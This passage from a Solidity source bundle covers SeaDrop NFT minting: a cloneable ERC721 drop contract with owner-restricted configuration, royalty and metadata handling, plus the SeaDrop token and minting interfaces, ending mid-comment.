@dev Overrides the `_startTokenId` function from ERC721A\n * to start at token id `1`.\n *\n * This is to avoid future possible problems since `0` is usually\n * used to signal values that have not been set or have been removed.\n */\n function _startTokenId() internal view virtual override returns (uint256) {\n return 1;\n }\n\n /**\n * @dev Overrides the `tokenURI()` function from ERC721A\n * to return just the base URI if it is implied to not be a directory.\n *\n * This is to help with ERC721 contracts in which the same token URI\n * is desired for each token, such as when the tokenURI is 'unrevealed'.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n // Exit early if the baseURI is empty.\n if (bytes(baseURI).length == 0) {\n return \"\";\n }\n\n // Check if the last character in baseURI is a slash.\n if (bytes(baseURI)[bytes(baseURI).length - 1] != bytes(\"/\")[0]) {\n return baseURI;\n }\n\n return string(abi.encodePacked(baseURI, _toString(tokenId)));\n }\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * ERC721A tracks these values automatically, but this note and\n * nonReentrant modifier are left here to encourage best-practices\n * when referencing this contract.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity)\n external\n virtual\n override\n nonReentrant\n {\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(msg.sender);\n\n // Extra safety check to ensure the max supply is not exceeded.\n if (_totalMinted() + quantity > maxSupply()) {\n revert MintQuantityExceedsMaxSupply(\n _totalMinted() + quantity,\n maxSupply()\n );\n }\n\n // Mint the quantity of tokens to the minter.\n _safeMint(minter, quantity);\n }\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the public drop data on SeaDrop.\n ISeaDrop(seaDropImpl).updatePublicDrop(publicDrop);\n }\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allow list on SeaDrop.\n ISeaDrop(seaDropImpl).updateAllowList(allowListData);\n }\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the token gated drop stage.\n ISeaDrop(seaDropImpl).updateTokenGatedDrop(allowedNftToken, dropStage);\n }\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external\n virtual\n override\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the drop URI.\n ISeaDrop(seaDropImpl).updateDropURI(dropURI);\n }\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the creator payout address.\n ISeaDrop(seaDropImpl).updateCreatorPayoutAddress(payoutAddress);\n }\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n * Only the owner can set the allowed fee recipient.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n * @param allowed If the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external virtual {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the allowed fee recipient.\n ISeaDrop(seaDropImpl).updateAllowedFeeRecipient(feeRecipient, allowed);\n }\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters to\n * enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the signer.\n ISeaDrop(seaDropImpl).updateSignedMintValidationParams(\n signer,\n signedMintValidationParams\n );\n }\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the payer.\n ISeaDrop(seaDropImpl).updatePayer(payer, allowed);\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n override\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n )\n {\n minterNumMinted = _numberMinted(minter);\n currentTotalSupply = _totalMinted();\n maxSupply = _maxSupply;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(INonFungibleSeaDropToken).interfaceId ||\n interfaceId == type(ISeaDropTokenContractMetadata).interfaceId ||\n // ERC721ContractMetadata returns supportsInterface true for\n // EIP-2981\n // ERC721A returns supportsInterface true for\n // ERC165, ERC721, ERC721Metadata\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @notice Configure multiple properties at a time.\n *\n * Note: The individual configure methods should be used\n * to unset or reset any properties to zero, as this method\n * will ignore zero-value properties in the config struct.\n *\n * @param config The configuration struct.\n */\n function multiConfigure(MultiConfigureStruct calldata config)\n external\n onlyOwner\n {\n if (config.maxSupply > 0) {\n this.setMaxSupply(config.maxSupply);\n }\n if (bytes(config.baseURI).length != 0) {\n this.setBaseURI(config.baseURI);\n }\n if (bytes(config.contractURI).length != 0) {\n this.setContractURI(config.contractURI);\n }\n if (\n _cast(config.publicDrop.startTime != 0) |\n _cast(config.publicDrop.endTime != 0) ==\n 1\n ) {\n this.updatePublicDrop(config.seaDropImpl, config.publicDrop);\n }\n if (bytes(config.dropURI).length != 0) {\n this.updateDropURI(config.seaDropImpl, config.dropURI);\n }\n if (config.allowListData.merkleRoot != bytes32(0)) {\n this.updateAllowList(config.seaDropImpl, config.allowListData);\n }\n if (config.creatorPayoutAddress != address(0)) {\n this.updateCreatorPayoutAddress(\n config.seaDropImpl,\n config.creatorPayoutAddress\n );\n }\n if (config.provenanceHash != bytes32(0)) {\n this.setProvenanceHash(config.provenanceHash);\n }\n if (config.allowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.allowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.allowedFeeRecipients[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedFeeRecipients.length > 0) {\n for (uint256 i = 0; i < config.disallowedFeeRecipients.length; ) {\n this.updateAllowedFeeRecipient(\n config.seaDropImpl,\n config.disallowedFeeRecipients[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.allowedPayers.length > 0) {\n for (uint256 i = 0; i < config.allowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.allowedPayers[i],\n true\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedPayers.length > 0) {\n for (uint256 i = 0; i < config.disallowedPayers.length; ) {\n this.updatePayer(\n config.seaDropImpl,\n config.disallowedPayers[i],\n false\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.tokenGatedDropStages.length > 0) {\n if (\n config.tokenGatedDropStages.length !=\n config.tokenGatedAllowedNftTokens.length\n ) {\n revert TokenGatedMismatch();\n }\n for (uint256 i = 0; i < config.tokenGatedDropStages.length; ) {\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.tokenGatedAllowedNftTokens[i],\n config.tokenGatedDropStages[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedTokenGatedAllowedNftTokens.length > 0) {\n for (\n uint256 i = 0;\n i < config.disallowedTokenGatedAllowedNftTokens.length;\n\n ) {\n TokenGatedDropStage memory emptyStage;\n this.updateTokenGatedDrop(\n config.seaDropImpl,\n config.disallowedTokenGatedAllowedNftTokens[i],\n emptyStage\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.signedMintValidationParams.length > 0) {\n if (\n config.signedMintValidationParams.length !=\n config.signers.length\n ) {\n revert SignersMismatch();\n }\n for (\n uint256 i = 0;\n i < config.signedMintValidationParams.length;\n\n ) {\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.signers[i],\n config.signedMintValidationParams[i]\n );\n unchecked {\n ++i;\n }\n }\n }\n if (config.disallowedSigners.length > 0) {\n for (uint256 i = 0; i < config.disallowedSigners.length; ) {\n SignedMintValidationParams memory emptyParams;\n this.updateSignedMintValidationParams(\n config.seaDropImpl,\n config.disallowedSigners[i],\n emptyParams\n );\n unchecked {\n ++i;\n }\n }\n }\n }\n}\n"
},
"src/clones/ERC721ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"../interfaces/ISeaDropTokenContractMetadata.sol\";\n\nimport {\n ERC721AConduitPreapprovedCloneable\n} from \"./ERC721AConduitPreapprovedCloneable.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport { ERC721TransferValidator } from \"../lib/ERC721TransferValidator.sol\";\n\nimport {\n ICreatorToken,\n ILegacyCreatorToken\n} from \"../interfaces/ICreatorToken.sol\";\n\nimport { ITransferValidator721 } from \"../interfaces/ITransferValidator.sol\";\n\nimport { TwoStepOwnable } from \"utility-contracts/TwoStepOwnable.sol\";\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC721ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721ContractMetadata is a token contract that extends ERC721A\n * with additional metadata and ownership capabilities.\n */\ncontract ERC721ContractMetadataCloneable is\n ERC721AConduitPreapprovedCloneable,\n ERC721TransferValidator,\n TwoStepOwnable,\n ISeaDropTokenContractMetadata\n{\n /// @notice Track the max supply.\n uint256 _maxSupply;\n\n /// @notice Track the base URI for token metadata.\n string _tokenBaseURI;\n\n /// @notice Track the contract URI for contract metadata.\n string _contractURI;\n\n /// @notice Track the provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 _provenanceHash;\n\n /// @notice Track the royalty info: address to receive royalties, and\n /// royalty basis points.\n RoyaltyInfo _royaltyInfo;\n\n /**\n * @dev Reverts if the sender is not the owner or the contract itself.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n */\n function _onlyOwnerOrSelf() internal view {\n if (\n _cast(msg.sender == owner()) | _cast(msg.sender == address(this)) ==\n 0\n ) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new base URI.\n _tokenBaseURI = newBaseURI;\n\n // Emit an event with the update.\n if (totalSupply() != 0) {\n emit BatchMetadataUpdate(1, _nextTokenId() - 1);\n }\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId)\n external\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the max supply does not exceed the maximum value of uint64.\n if (newMaxSupply > 2**64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _maxSupply = newMaxSupply;\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if any items have been minted.\n if (_totalMinted() > 0) {\n revert ProvenanceHashCannotBeSetAfterMintStarted();\n }\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if the new royalty address is the zero address.\n if (newInfo.royaltyAddress == address(0)) {\n revert RoyaltyAddressCannotBeZeroAddress();\n }\n\n // Revert if the new basis points is greater than 10_000.\n if (newInfo.royaltyBps > 10_000) {\n revert InvalidRoyaltyBasisPoints(newInfo.royaltyBps);\n }\n\n // Set the new royalty info.\n _royaltyInfo = newInfo;\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(newInfo.royaltyAddress, newInfo.royaltyBps);\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI();\n }\n\n /**\n * @notice Returns the base URI for the contract, which ERC721A uses\n * to return tokenURI.\n */\n function _baseURI() internal view virtual override returns (string memory) {\n return _tokenBaseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() public view returns (uint256) {\n return _maxSupply;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address) {\n return _royaltyInfo.royaltyAddress;\n }\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256) {\n return _royaltyInfo.royaltyBps;\n }\n\n /**\n * @notice Called with the sale price to determine how much royalty\n * is owed and to whom.\n *\n * @ param _tokenId The NFT asset queried for royalty information.\n * @param _salePrice The sale price of the NFT asset specified by\n * _tokenId.\n *\n * @return receiver Address of who should be sent the royalty payment.\n * @return royaltyAmount The royalty payment amount for _salePrice.\n */\n function royaltyInfo(\n uint256,\n /* _tokenId */\n uint256 _salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n // Put the royalty info on the stack for more efficient access.\n RoyaltyInfo storage info = _royaltyInfo;\n\n // Set the royalty amount to the sale price times the royalty basis\n // points divided by 10_000.\n royaltyAmount = (_salePrice * info.royaltyBps) / 10_000;\n\n // Set the receiver of the royalty.\n receiver = info.royaltyAddress;\n }\n\n /**\n * @notice Returns the transfer validation function used.\n */\n function getTransferValidationFunction()\n external\n pure\n returns (bytes4 functionSignature, bool isViewFunction)\n {\n functionSignature = ITransferValidator721.validateTransfer.selector;\n isViewFunction = false;\n }\n\n /**\n * @notice Set the transfer validator. Only callable by the token owner.\n */\n function setTransferValidator(address newValidator) external onlyOwner {\n // Set the new transfer validator.\n _setTransferValidator(newValidator);\n }\n\n /**\n * @dev Hook that is called before any token transfer.\n * This includes minting and burning.\n */\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 /* quantity */\n ) internal virtual override {\n if (from != address(0) && to != address(0)) {\n // Call the transfer validator if one is set.\n address transferValidator = _transferValidator;\n if (transferValidator != address(0)) {\n ITransferValidator721(transferValidator).validateTransfer(\n msg.sender,\n from,\n to,\n startTokenId\n );\n }\n }\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ACloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(ICreatorToken).interfaceId ||\n interfaceId == type(ILegacyCreatorToken).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal pure function to cast a `bool` value to a `uint256` value.\n *\n * @param b The `bool` value to cast.\n *\n * @return u The `uint256` value.\n */\n function _cast(bool b) internal pure returns (uint256 u) {\n assembly {\n u := b\n }\n }\n}\n"
},
"src/interfaces/INonFungibleSeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\ninterface INonFungibleSeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @dev Revert with an error if a contract is not an allowed\n * SeaDrop address.\n */\n error OnlyAllowedSeaDrop();\n\n /**\n * @dev Emit an event when allowed SeaDrop contracts are updated.\n */\n event AllowedSeaDropUpdated(address[] allowedSeaDrop);\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop) external;\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity) external;\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC721Received() hooks.\n *\n * @param minter The minter address.\n */\n function getMintStats(address minter)\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 currentTotalSupply,\n uint256 maxSupply\n );\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external;\n\n /**\n * @notice Update the allow list data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowListData The allow list data.\n */\n function updateAllowList(\n address seaDropImpl,\n AllowListData calldata allowListData\n ) external;\n\n /**\n * @notice Update the token gated drop stage data for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during the\n * `dropStage` time period.\n *\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param allowedNftToken The allowed nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address seaDropImpl,\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Update the drop URI for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param dropURI The new drop URI.\n */\n function updateDropURI(address seaDropImpl, string calldata dropURI)\n external;\n\n /**\n * @notice Update the creator payout address for this nft contract on\n * SeaDrop.\n * Only the owner can set the creator payout address.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payoutAddress The new payout address.\n */\n function updateCreatorPayoutAddress(\n address seaDropImpl,\n address payoutAddress\n ) external;\n\n /**\n * @notice Update the allowed fee recipient for this nft contract\n * on SeaDrop.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param feeRecipient The new fee recipient.\n */\n function updateAllowedFeeRecipient(\n address seaDropImpl,\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the server-side signers for this nft contract\n * on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param signer The signer to update.\n * @param signedMintValidationParams Minimum and maximum parameters\n * to enforce for signed mints.\n */\n function updateSignedMintValidationParams(\n address seaDropImpl,\n address signer,\n SignedMintValidationParams memory signedMintValidationParams\n ) external;\n\n /**\n * @notice Update the allowed payers for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(\n address seaDropImpl,\n address payer,\n bool allowed\n ) external;\n}\n"
},
"src/interfaces/ISeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n MintParams,\n PublicDrop,\n TokenGatedDropStage,\n TokenGatedMintParams,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"../lib/SeaDropErrorsAndEvents.sol\";\n\ninterface ISeaDrop is SeaDropErrorsAndEvents {\n /**\n * @notice Mint a public drop.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n */\n function mintPublic(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity\n ) external payable;\n\n /**\n * @notice Mint from an allow list.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param proof The proof for the leaf of the allow list.\n */\n function mintAllowList(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n bytes32[] calldata proof\n ) external payable;\n\n /**\n * @notice Mint with a server-side signature.\n * Note that a signature can only be used once.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param quantity The number of tokens to mint.\n * @param mintParams The mint parameters.\n * @param salt The sale for the signed mint.\n * @param signature The server-side signature, must be an allowed\n * signer.\n */\n function mintSigned(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n uint256 quantity,\n MintParams calldata mintParams,\n uint256 salt,\n bytes calldata signature\n ) external payable;\n\n /**\n * @notice Mint as an allowed token holder.\n * This will mark the token id as redeemed and will revert if the\n * same token id is attempted to be redeemed twice.\n *\n * @param nftContract The nft contract to mint.\n * @param feeRecipient The fee recipient.\n * @param minterIfNotPayer The mint recipient if different than the payer.\n * @param mintParams The token gated mint params.\n */\n function mintAllowedTokenHolder(\n address nftContract,\n address feeRecipient,\n address minterIfNotPayer,\n TokenGatedMintParams calldata mintParams\n ) external payable;\n\n /**\n * @notice Emits an event to notify update of the drop URI.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Updates the public drop data for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(PublicDrop calldata publicDrop) external;\n\n /**\n * @notice Updates the allow list merkle root for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param allowListData The allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Updates the token gated drop stage for the nft contract\n * and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * Note: If two INonFungibleSeaDropToken tokens are doing\n * simultaneous token gated drop promotions for each other,\n * they can be minted by the same actor until\n * `maxTokenSupplyForStage` is reached. Please ensure the\n * `allowedNftToken` is not running an active drop during\n * the `dropStage` time period.\n *\n * @param allowedNftToken The token gated nft token.\n * @param dropStage The token gated drop stage data.\n */\n function updateTokenGatedDrop(\n address allowedNftToken,\n TokenGatedDropStage calldata dropStage\n ) external;\n\n /**\n * @notice Updates the creator payout address and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement INonFungibleSeaDropToken.\n *\n * @param payoutAddress The creator payout address.\n */\n function updateCreatorPayoutAddress(address payoutAddress) external;\n\n /**\n * @notice Updates the allowed fee recipient and emits an event.\n *\n * This method assume msg.sender is an nft contract and its\n * ERC165 interface id matches INonFungibleSeaDropToken.\n *\n * Note: Be sure only authorized users can call this from\n * token contracts that implement 